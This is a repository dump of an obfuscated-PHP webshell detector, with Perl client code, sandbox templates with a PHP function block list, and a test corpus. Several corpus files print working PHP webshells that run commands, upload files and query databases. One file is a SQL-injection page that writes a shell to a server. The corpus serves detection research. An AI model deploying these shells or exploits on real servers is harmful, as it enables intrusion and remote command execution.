├── .gitignore ├── README.md ├── t └── malware │ ├── eval.php │ ├── test.php │ ├── 1.php │ ├── 0.php │ ├── 10.php │ ├── 11.php │ ├── 19.php │ ├── 20.php │ ├── 22.php │ ├── 23.php │ ├── 24.php │ ├── 25.php │ ├── 26.php │ ├── 32.php │ ├── 33.php │ ├── 37.php │ ├── 38.php │ ├── 4.php │ ├── 45.php │ ├── 46.php │ ├── 47.php │ ├── 48.php │ ├── 49.php │ ├── 50.php │ ├── 52.php │ ├── 53.php │ ├── 54.php │ ├── 6.php │ ├── 62.php │ ├── 69.php │ ├── 71.php │ ├── 72.php │ ├── 75.php │ ├── 82.php │ ├── 83.php │ ├── 89.php │ ├── 92.php │ ├── 93.php │ ├── 94.php │ ├── 95.php │ ├── 109.php │ ├── 112.php │ ├── 113.php │ ├── 114.php │ ├── 121.php │ ├── b374k.php.zip │ ├── 100.php │ ├── 102.php │ ├── 91.php │ ├── weevely.php │ ├── 86.php │ ├── 81.php │ ├── 41.php │ ├── 42.php │ ├── 118.php │ ├── 51.php │ ├── 77.php │ ├── 78.php │ ├── 58.php │ ├── 117.php │ ├── 103.php │ ├── 104.php │ ├── 29.php │ ├── 30.php │ ├── 80.php │ ├── 43.php │ ├── 14.php │ ├── 111.php │ ├── 21.php │ ├── 5.php │ ├── 8.php │ ├── 90.php │ ├── 98.php │ ├── 15.php │ ├── 7.php │ └── 55.php ├── server ├── template │ ├── append.php │ ├── prepend.php │ ├── custom-php.ini │ ├── iptables.rule │ └── apache2.conf ├── t │ ├── read_yaml.pl │ └── make_yaml.pl ├── run.pl └── sandbox.psgi ├── doc ├── PepboTech.odp ├── HostingCasual.odp └── HostingCasual.pdf ├── lib └── K0U5UK3 │ ├── OPWD.pm │ ├── Error.pm │ └── Util.pm ├── settings.yaml └── client └── obscan.pl /.gitignore: -------------------------------------------------------------------------------- 1 | server/logs/* 2 | tags 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # obfusucated-php-detector 2 | -------------------------------------------------------------------------------- /t/malware/eval.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /server/template/append.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /t/malware/test.php: -------------------------------------------------------------------------------- 1 | 7 | 8 | -------------------------------------------------------------------------------- /t/malware/1.php: -------------------------------------------------------------------------------- 1 | by q1w2e3r4'; ?> 2 | -------------------------------------------------------------------------------- /t/malware/0.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/0.php -------------------------------------------------------------------------------- /t/malware/10.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/10.php -------------------------------------------------------------------------------- /t/malware/11.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/11.php -------------------------------------------------------------------------------- /t/malware/19.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/19.php -------------------------------------------------------------------------------- /t/malware/20.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/20.php -------------------------------------------------------------------------------- /t/malware/22.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/22.php -------------------------------------------------------------------------------- /t/malware/23.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/23.php -------------------------------------------------------------------------------- /t/malware/24.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/24.php -------------------------------------------------------------------------------- /t/malware/25.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/25.php -------------------------------------------------------------------------------- /t/malware/26.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/26.php -------------------------------------------------------------------------------- /t/malware/32.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/32.php -------------------------------------------------------------------------------- /t/malware/33.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/33.php -------------------------------------------------------------------------------- /t/malware/37.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/37.php -------------------------------------------------------------------------------- /t/malware/38.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/38.php -------------------------------------------------------------------------------- /t/malware/4.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/4.php -------------------------------------------------------------------------------- /t/malware/45.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/45.php -------------------------------------------------------------------------------- /t/malware/46.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/46.php -------------------------------------------------------------------------------- /t/malware/47.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/47.php -------------------------------------------------------------------------------- /t/malware/48.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/48.php -------------------------------------------------------------------------------- /t/malware/49.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/49.php -------------------------------------------------------------------------------- /t/malware/50.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/50.php -------------------------------------------------------------------------------- /t/malware/52.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/52.php -------------------------------------------------------------------------------- /t/malware/53.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/53.php -------------------------------------------------------------------------------- /t/malware/54.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/54.php -------------------------------------------------------------------------------- /t/malware/6.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/6.php -------------------------------------------------------------------------------- /t/malware/62.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/62.php -------------------------------------------------------------------------------- /t/malware/69.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/69.php -------------------------------------------------------------------------------- /t/malware/71.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/71.php -------------------------------------------------------------------------------- /t/malware/72.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/72.php -------------------------------------------------------------------------------- /t/malware/75.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/75.php -------------------------------------------------------------------------------- /t/malware/82.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/82.php -------------------------------------------------------------------------------- /t/malware/83.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/83.php -------------------------------------------------------------------------------- /t/malware/89.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/89.php -------------------------------------------------------------------------------- /t/malware/92.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/92.php -------------------------------------------------------------------------------- /t/malware/93.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/93.php -------------------------------------------------------------------------------- /t/malware/94.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/94.php -------------------------------------------------------------------------------- /t/malware/95.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/95.php -------------------------------------------------------------------------------- /doc/PepboTech.odp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/doc/PepboTech.odp -------------------------------------------------------------------------------- /t/malware/109.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/109.php -------------------------------------------------------------------------------- /t/malware/112.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/112.php -------------------------------------------------------------------------------- /t/malware/113.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/113.php -------------------------------------------------------------------------------- /t/malware/114.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/114.php -------------------------------------------------------------------------------- /t/malware/121.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/121.php -------------------------------------------------------------------------------- /doc/HostingCasual.odp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/doc/HostingCasual.odp -------------------------------------------------------------------------------- /doc/HostingCasual.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/doc/HostingCasual.pdf -------------------------------------------------------------------------------- /t/malware/b374k.php.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/k0u5uk3/obfuscated-php-webshell-detector/HEAD/t/malware/b374k.php.zip -------------------------------------------------------------------------------- /lib/K0U5UK3/OPWD.pm: -------------------------------------------------------------------------------- 1 | package K0U5UK3::OPWD; 2 | require Exporter; 3 | use Exporter; 4 | @ISA = qw(Exporter); 5 | @EXPORT_OK = qw(); 6 | use strict; 7 | use warnings; 8 | 9 | 10 | 11 | 1; 12 | 13 | -------------------------------------------------------------------------------- /server/t/read_yaml.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use strict; 3 | use warnings; 4 | use Data::Dumper; 5 | use YAML qw(LoadFile); 6 | 7 | my $hash = LoadFile("./observ.yaml"); 8 | 9 | print Dumper($hash); 10 | -------------------------------------------------------------------------------- /server/template/prepend.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /server/t/make_yaml.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | use strict; 3 | use warnings; 4 | use YAML qw(Dump Bless); 5 | 6 | my $hash = { 7 | 'WEBROOT' => "/tmp/obfusucated-php-detector/webroot/", 8 | 'TRACELOG' => "/tmp/obfusucated-php-detector/tracelog/", 9 | }; 10 | 11 | print Dump $hash; 12 | 13 | 14 | -------------------------------------------------------------------------------- /t/malware/100.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | "; 7 | $cmd = ($_REQUEST['cmd']); 8 | system($cmd); 9 | echo ""; 10 | die; 11 | } 12 | 13 | ?> 14 | 15 | Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd 16 | 17 | 18 | -------------------------------------------------------------------------------- /t/malware/102.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | "; 8 | $cmd = ($_REQUEST['cmd']); 9 | system($cmd); 10 | echo ""; 11 | die; 12 | } 13 | 14 | ?> 15 | 16 | Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /server/template/custom-php.ini: -------------------------------------------------------------------------------- 1 | auto_prepend_file = {$PREPEND_PHP} 2 | auto_append_file = {$APPEND_PHP} 3 | xdebug.collect_return = 1 4 | xdebug.collect_params = 3 5 | xdebug.collect_assignments = 1 6 | xdebug.var_display_max_data = 100000 7 | xdebug.var_display_max_depth = 100000 8 | xdebug.trace_format = 1 9 | memory_limit = 256M 10 | disable_functions = system, exec, passthru, fopen, file_put_contents, shell_exec, popen, proc_open, pcntl_exec, mkdir, rename, copy, unlink, touch, chmod 11 | -------------------------------------------------------------------------------- /t/malware/91.php: -------------------------------------------------------------------------------- 1 | 11 | 12 | Ru24PostWebShell - ".$_POST['cmd']." 13 | 14 | "; 15 | echo "
"; 16 | echo ""; 17 | echo "
"; 18 | echo "
";
19 | if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
20 | echo "".$function($_POST['cmd'])."
"; 21 | 22 | 23 | ?> 24 | -------------------------------------------------------------------------------- /server/template/iptables.rule: -------------------------------------------------------------------------------- 1 | *filter 2 | :INPUT DROP [0:0] 3 | :FORWARD DROP [0:0] 4 | :OUTPUT DROP [0:0] 5 | 6 | -A INPUT -i lo -j ACCEPT 7 | -A OUTPUT -o lo -j ACCEPT 8 | 9 | -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 10 | -A INPUT -p icmp -j ACCEPT 11 | -A INPUT -i lo -j ACCEPT 12 | -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT 13 | -A INPUT -m state --state NEW -m tcp -p tcp --dport {$SANDBOX_HTTPD_PORT} -j ACCEPT 14 | 15 | -A OUTPUT -p tcp -m state --state ESTABLISHED --sport 22 -j ACCEPT 16 | -A OUTPUT -p tcp -m state --state ESTABLISHED --sport {$SANDBOX_HTTPD_PORT} -j ACCEPT 17 | 18 | COMMIT 19 | -------------------------------------------------------------------------------- /t/malware/weevely.php: -------------------------------------------------------------------------------- 1 | s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined 10 | 11 | 12 | Options Indexes FollowSymLinks 13 | AllowOverride None 14 | Require all granted 15 | 16 | 17 | IncludeOptional mods-enabled/*.load 18 | IncludeOptional mods-enabled/*.conf 19 | ServerAdmin webmaster@localhost 20 | DocumentRoot {$APACHE_DOCUMENT_ROOT} 21 | ErrorLog {$APACHE_ERR_LOGFILE} 22 | CustomLog {$APACHE_ACCESS_LOGFILE} combined 23 | 24 | 25 | SetHandler perl-script 26 | PerlResponseHandler Plack::Handler::Apache2 27 | PerlSetVar psgi_app {$SANDBOX_PSGI} 28 | 29 | 30 | 31 | PHPINIDir "{$PHP_INI_FILE}" 32 | 33 | 34 | -------------------------------------------------------------------------------- /t/malware/86.php: -------------------------------------------------------------------------------- 1 | 2 | 3 |
Input command :
4 |
5 |
6 | 
 7 | 
13 |
14 |
15 |
Uploader file :
16 | 17 | 27 | 28 | "> 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /lib/K0U5UK3/Error.pm: -------------------------------------------------------------------------------- 1 | package K0U5UK3::Error; 2 | require Exporter; 3 | use Exporter; 4 | @ISA = qw(Exporter); 5 | @EXPORT_OK = qw($DEBUG $WARNING debug warning critical); 6 | use Carp qw(carp cluck croak confess); 7 | use strict; 8 | use warnings; 9 | 10 | our $DEBUG=0; 11 | our $WARNING=0; 12 | 13 | sub timestamp($){ 14 | my $unixtime = shift; 15 | my ($sec, $min, $hour, $mday, $mon, 16 | $year, $wday, $yday, $isdst) = localtime($unixtime); 17 | 18 | my $fmt = "%04d/%02d/%02d(%s) %02d:%02d:%02d"; 19 | my $timestamp = sprintf($fmt, $year+1900,$mon+1,$mday,substr(localtime, 0, 3), $hour,$min,$sec); 20 | return $timestamp; 21 | } 22 | 23 | # debugは単純にメッセージだけを出力する 24 | # warningはメッセージと実行行を出力する 25 | # ciriticalはメッセージと実行行を出力して終了する。もしくは$@に値をセットする 26 | sub debug($){ 27 | my $msg = shift; 28 | my $ts = timestamp(time); 29 | print STDERR "[DEBUG][$ts] $msg\n" if $DEBUG; 30 | } 31 | 32 | sub warning($){ 33 | my $msg = shift; 34 | my $ts = timestamp(time); 35 | carp "[WARNING][$ts] $msg\n" if $WARNING; 36 | } 37 | 38 | sub critical($){ 39 | my $msg = shift; 40 | my $ts = timestamp(time); 41 | croak "[CRITICAL][$ts] $msg\n"; 42 | } 43 | 44 | 1; 45 | 46 | -------------------------------------------------------------------------------- /t/malware/81.php: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | || .::News Remote PHP Shell Injection::. || 6 | 7 | 8 |
|| .::News PHP Shell Injection::. ||


9 | ' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile"; 15 | $sql = urlencode($sql); 16 | $expurl= $url."?id=".$sql ; 17 | echo ' Click Here to Exploit
'; 18 | echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results"; 19 | } 20 | else 21 | { 22 | ?> 23 | Url to index.php:
24 | " method = "post"> 25 |
26 | Server Path to Shell:
27 | Full server path to a writable file which will contain the Php Shell
28 |

29 |

30 | 31 | 32 | 33 | 36 | 37 | -------------------------------------------------------------------------------- /lib/K0U5UK3/Util.pm: -------------------------------------------------------------------------------- 1 | package K0U5UK3::Util; 2 | require Exporter; 3 | use Exporter; 4 | use File::Path; 5 | use Digest::MD5; 6 | use K0U5UK3::Error qw(debug warning critical); 7 | 8 | @ISA = qw(Exporter); 9 | @EXPORT_OK = qw(read_file cleanup get_md5 concat_path init_dir); 10 | 11 | sub read_file($){ 12 | my $file = shift; 13 | my $text; 14 | open my $fh, '<', $file or die "Failed read $file : $!\n"; 15 | local $/ = undef; 16 | $text = <$fh>; 17 | close($fh); 18 | return $text; 19 | } 20 | 21 | sub cleanup($){ 22 | my $file = shift; 23 | unlink($file) or critical "Failed unlink $file : $!\n" if -f $file; 24 | } 25 | 26 | sub get_md5($){ 27 | my $filename = shift; 28 | open my $fh, '<', $filename or critical "Failed open $filename : $!\n"; 29 | my $md5 = Digest::MD5->new->addfile($fh)->hexdigest; 30 | close($fh); 31 | return $md5; 32 | } 33 | 34 | sub concat_path{ 35 | my $concat; 36 | my @paths = @_; 37 | 38 | foreach my $path (@paths){ 39 | if($path !~ /^\//){ 40 | $path = '/' . $path; 41 | } 42 | $concat .= $path; 43 | } 44 | 45 | return $concat; 46 | } 47 | 48 | #ディレクトリがなければ作成する 49 | #再起的に作成することもできる 50 | sub init_dir($){ 51 | my $dir = shift; 52 | 53 | if (!-d $dir){ 54 | mkpath $dir or critical "Failed make $dir : $!"; 55 | } 56 | } 57 | 58 | 1; 59 | -------------------------------------------------------------------------------- /settings.yaml: -------------------------------------------------------------------------------- 1 | #------------------# 2 | # GENERAL SETTINGS # 3 | #------------------# 4 | SANDBOX_HOST: 157.7.190.188 5 | SANDBOX_PORT: 9999 6 | USE_SSL: 0 7 | 8 | #------------------# 9 | # SANDBOX SETTINGS # 10 | #------------------# 11 | 12 | # SANDBOX_HTTPD_ENGINEはどのHTTPエンジンを使用してsandboxの解析を行うかを選択します。 13 | # 実稼働にはAPACHEを推奨します。 14 | # APACHE or PLACK or STARMAN 15 | SANDBOX_HTTPD_ENGINE: APACHE 16 | 17 | # 解析対象のPHPスクリプトを配置するためのディレクトリを決定します。 18 | WEBROOT_DIR: /tmp/OPWD_SANDBOX/webroot/ 19 | 20 | # TRACELOGを出力するディレクトリを決定します。 21 | TRACELOG_DIR: /tmp/OPWD_SANDBOX/tracelog/ 22 | 23 | # 各種設定ファイルを格納するディレクトリを決定します。 24 | SETTING_DIR: /tmp/OPWD_SANDBOX/etc/ 25 | 26 | # ログファイル格納場所を決定します 27 | LOG_DIR: /tmp/OPWD_SANDBOX/logs/ 28 | 29 | # APACHE設定ファイル格納場所を決定します 30 | APACHE_DIR: /tmp/OPWD_SANDBOX/etc/apache2 31 | 32 | # PLACK or STARMANをHTTP_MIDDLEWARE_ENGINEにした場合、PHPインタプリタサーバを別個に立ち上げます。 33 | PHP_BUILTIN_SERVER_HOST: 127.0.0.1 34 | PHP_BUILTIN_SERVER_PORT: 6666 35 | 36 | # PHPインタプリタサーバが出力するログファイルを決定します 37 | PHP_BUILTIN_SERVER_LOGFILE: php_builtin_server.log 38 | 39 | # SANDBOX上で稼働するHTTPサーバのIPを決定します。 40 | SANDBOX_HTTPD_HOST: 0.0.0.0 41 | # SANDBOX上で稼働するHTTPサーバのPORTを決定します。 42 | SANDBOX_HTTPD_PORT: 9999 43 | SANDBOX_HTTPD_LOGFILE: httpd.log 44 | SANDBOX_HTTPD_ERRFILE: httpd_err.log 45 | 46 | # SANDBOXが解析対象PHPスクリプトをHTTP上から実行する際のTIMEOUTを決定します。 47 | SANDBOX_UA_TIMEOUT: 60 48 | 49 | #-----------------# 50 | # CLINET SETTINGS # 51 | #-----------------# 52 | 53 | CLIENT_UA_TIMEOUT: 60 54 | -------------------------------------------------------------------------------- /t/malware/41.php: -------------------------------------------------------------------------------- 1 | h4ntu shell [powered by tsoi] 2 | This Is The Server Information

"; 4 | ?> 5 | 6 | 16 | 17 |
18 | 19 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 |
:
User Info: uid=() euid=() gid=()
Current Path:
Permission Directory:
Server Services:
Server Adress:
Script Current User:
PHP Version:
55 |
56 | 57 | #php injection:
58 | "> 59 | cmd : 60 | 61 |
62 | 63 |
64 | 65 |
66 | 67 | 
68 |  /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
73 |   $output = ob_get_contents();
74 |   ob_end_clean();
75 |   if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
76 | exit;
77 | ?>
78 |
79 | -------------------------------------------------------------------------------- /t/malware/42.php: -------------------------------------------------------------------------------- 1 | h4ntu shell [powered by tsoi] 2 | This Is The Server Information

"; 4 | ?> 5 | 6 | 16 | 17 |
18 | 19 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 |
:
User Info: uid=() euid=() gid=()
Current Path:
Permission Directory:
Server Services:
Server Adress:
Script Current User:
PHP Version:
55 |
56 | 57 | #php injection:
58 |
"> 59 | cmd : 60 | 61 |
62 | 63 |
64 | 65 |
66 | 67 | 
68 |  /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
73 |   $output = ob_get_contents();
74 |   ob_end_clean();
75 |   if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
76 | exit;
77 | ?>
78 |
79 | -------------------------------------------------------------------------------- /t/malware/118.php: -------------------------------------------------------------------------------- 1 | body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}"; 6 | print "

#worst @dal.net

"; 7 | print "

You have been hack By Shany with Love To #worst.

"; 8 | print "

Watch Your system Shany was here.

"; 9 | print "

Linux Shells

"; 10 | print "
"; 11 | 12 | $currentWD = str_replace("\\\\","\\",$_POST['_cwd']); 13 | $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']); 14 | 15 | $UName = `uname -a`; 16 | $SCWD = `pwd`; 17 | $UserID = `id`; 18 | 19 | if( $currentWD == "" ) { 20 | $currentWD = $SCWD; 21 | } 22 | 23 | print ""; 24 | print ""; 25 | print ""; 26 | print ""; 27 | print ""; 28 | print "
We are:".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")
Server is:".$_SERVER['SERVER_SIGNATURE']."
System type:$UName
Our permissions:$UserID
"; 29 | 30 | print "
"; 31 | 32 | if( $_POST['_act'] == "List files!" ) { 33 | $currentCMD = "ls -la"; 34 | } 35 | 36 | print "
"; 37 | 38 | print ""; 39 | print ""; 40 | 41 | print ""; 42 | print ""; 43 | 44 | print ""; 45 | print ""; 46 | 47 | print "
Execute command:
Change directory:
Upload file:
"; 48 | 49 | $currentCMD = str_replace("\\\"","\"",$currentCMD); 50 | $currentCMD = str_replace("\\\'","\'",$currentCMD); 51 | 52 | if( $_POST['_act'] == "Upload!" ) { 53 | if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) { 54 | print "
Error while uploading file!
"; 55 | } else { 56 | print "
";
57 |         system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
58 |         print "
File uploaded successfully!
"; 59 | } 60 | } else { 61 | print "\n\n\n
\n";
62 |     $currentCMD = "cd ".$currentWD.";".$currentCMD;
63 |     system($currentCMD);
64 |     print "\n
\n\n\n
Command completed
"; 65 | } 66 | 67 | exit; 68 | 69 | ?> 70 | -------------------------------------------------------------------------------- /t/malware/51.php: -------------------------------------------------------------------------------- 1 | 18 | 20 | 21 | 22 | lama's'hell v. 3.0 23 | 30 | 31 | 32 | 
33 |                               _           _
34 |                              / \_______ /|_\
35 |                             /          /_/ \__
36 |                            /             \_/ /
37 |                          _|_              |/|_
38 |                          _|_  O    _    O  _|_
39 |                          _|_      (_)      _|_
40 |                           \                 /
41 |                            _\_____________/_
42 |                           /  \/  (___)  \/  \
43 |                           \__(  o     o  )__/ 
58 |
59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 |
Execute command:
Change directory:
Upload file:
67 | 

68 | 
";
72 |     } else {
73 |         echo "There was an error uploading the file, please try again!";
74 |     }
75 |     }
76 |     if(($_POST['exe']) == "Execute") {
77 |      $curcmd = "cd ".$curdir.";".$curcmd;
78 |      $f=popen($curcmd,"r");
79 |      while (!feof($f)) {
80 |       $buffer = fgets($f, 4096);
81 |       $string .= $buffer;
82 |      }
83 |      pclose($f);
84 |      echo htmlspecialchars($string);
85 |     }
86 | ?>
87 |
88 | 89 | 90 | -------------------------------------------------------------------------------- /t/malware/77.php: -------------------------------------------------------------------------------- 1 | "; 14 | if ($handle = opendir("$d")) { 15 | echo "

listing of $d

"; 16 | while ($dir = readdir($handle)){ 17 | if (is_dir("$d/$dir")) echo ""; 18 | else echo ""; 19 | echo "$dir\n"; 20 | echo ""; 21 | } 22 | 23 | } else echo "opendir() failed"; 24 | closedir($handle); 25 | die ("
"); 26 | } 27 | if(isset($_REQUEST['c'])){ 28 | echo "
";
29 | 	system($_REQUEST['c']);		   
30 | 	die;
31 | }
32 | if(isset($_REQUEST['upload'])){
33 | 
34 | 		if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
35 | 			else $dir=$_REQUEST['dir'];
36 | 		$fname=$HTTP_POST_FILES['file_name']['name'];
37 | 		if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
38 | 			die('file uploading error.');
39 | }
40 | if(isset($_REQUEST['mquery'])){
41 | 	
42 | 	$host=$_REQUEST['host'];
43 | 	$usr=$_REQUEST['usr'];
44 | 	$passwd=$_REQUEST['passwd'];
45 | 	$db=$_REQUEST['db'];
46 | 	$mquery=$_REQUEST['mquery'];
47 | 	mysql_connect("$host", "$usr", "$passwd") or
48 |     die("Could not connect: " . mysql_error());
49 |     mysql_select_db("$db");
50 |     $result = mysql_query("$mquery");
51 | 	if($result!=FALSE) echo "
query was executed correctly
\n";
52 |     while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);  
53 |     mysql_free_result($result);
54 | 	die;
55 | }
56 | ?>
57 | 
execute command: 
 
58 | 

59 | upload file:   to dir:   

60 | 
to browse go to http://?d=[directory here]
61 | 
for example:
62 | http://?d=/etc on *nix
63 | or http://?d=c:/windows on win
64 | 
execute mysql query:
65 | 

66 | host:  user:  password: 
67 | 
68 | database:   query:  
69 | 

70 | 
71 | 
72 | 


--------------------------------------------------------------------------------
/t/malware/78.php:
--------------------------------------------------------------------------------
 1 | 
89 | 
90 | 


--------------------------------------------------------------------------------
/client/obscan.pl:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env perl
  2 | use strict;
  3 | use warnings;
  4 | use YAML;
  5 | use HTTP::Request::Common;
  6 | use LWP::UserAgent;
  7 | use Getopt::Long qw(:config posix_default no_ignore_case gnu_compat);
  8 | use File::Spec;
  9 | use JSON qw(encode_json decode_json);
 10 | use FindBin qw($Bin);
 11 | use lib "$Bin/../lib";
 12 | use K0U5UK3::Error qw($DEBUG $WARNING debug warning critical);
 13 | use K0U5UK3::Util qw(get_md5);
 14 | use Data::Dumper;
 15 | 
 16 | our $YAML = YAML::LoadFile("$Bin/../settings.yaml");
 17 | 
 18 | #------------#
 19 | # SUB ROUTIN #
 20 | #------------#
 21 | sub usage{
 22 |    printf("Usage : %s -f filename -m detect-obfuscate|detect-webshell|deobfuscate|tracelog|viewfunc\n", $0); 
 23 |    exit(0);
 24 | }
 25 | 
 26 | #-------------#
 27 | # MAIN ROUTIN #
 28 | #-------------#
 29 | 
 30 | # オプション解析
 31 | my %opts;
 32 | GetOptions(\%opts, qw ( 
 33 |    filename|f=s
 34 |    mode|m=s
